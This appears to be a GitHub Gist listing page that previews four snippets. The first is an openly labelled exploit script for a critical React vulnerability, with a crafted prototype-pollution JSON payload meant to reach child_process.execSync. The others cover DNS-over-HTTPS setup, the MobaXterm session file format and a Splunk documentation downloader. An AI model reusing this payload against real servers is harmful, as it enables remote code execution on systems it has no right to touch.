Skip to content

Instantly share code, notes, and snippets.

@akshaymarch7
akshaymarch7 / exploit0.js
Created December 16, 2025 04:59
React Critical Vulnerability (CVSS 10.0) - exploit0 code
(async () => {
// === CONFIGURATION ===
const targetUrl = "/namaste"; // The endpoint to hit (relative to current domain)
console.log(`[*] Attempting to run command: ${cmd}`);
// 1. Construct the malicious payload
// This injects the command into a child_process.execSync call and throws the result in an error digest
const payloadJson = `{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"console.log('meowmeow')//","_formData":{"get":"$1:constructor:constructor"}}}`;
@1999AZZAR
1999AZZAR / DoH Setup with cloudflared.md
Last active February 27, 2026 20:10
This guide explains how to set up DNS over HTTPS (DoH) on a Linux system using `cloudflared`. DoH ensures that your DNS queries are encrypted and secure, protecting your online privacy and preventing third-party monitoring of your internet activity.
@Ruzgfpegk
Ruzgfpegk / mxtsessions_format.md
Last active March 13, 2026 14:23
.mxtsessions file format

.mxtsessions file format

Introduction

This document tries to give a description of the .mxtsession files used in the proprietary software MobaXterm. Sadly this format, as efficient as it is, is too obscure to encourage legitimate use cases of this format as there is no public documentation available.

The software licence of MobaXterm, for both Home and Pro editions, allows to "observe, study or test the functioning of the Software in order to determine the ideas and principles which are the basis of the Software, when performing the loading, display, execution, transmission or storage of the Software" and this study has been done in full under those terms.

The studied format is the one of version 23.6: sessions last modified (but not necessarily exported) before this version will have fewer fields.

@mrabbitt
mrabbitt / download_splunk_pdf_docs.py
Created November 20, 2012 21:26
Script to download all PDF files for a particular version of Splunk documentation.
#!/usr/bin/env python
'''
Script to download all PDF files for a particular version of Splunk documentation.
Requirements:
requests: http://docs.python-requests.org
beautifulsoup4: http://www.crummy.com/software/BeautifulSoup/
(pip install -U requests beautifulsoup4)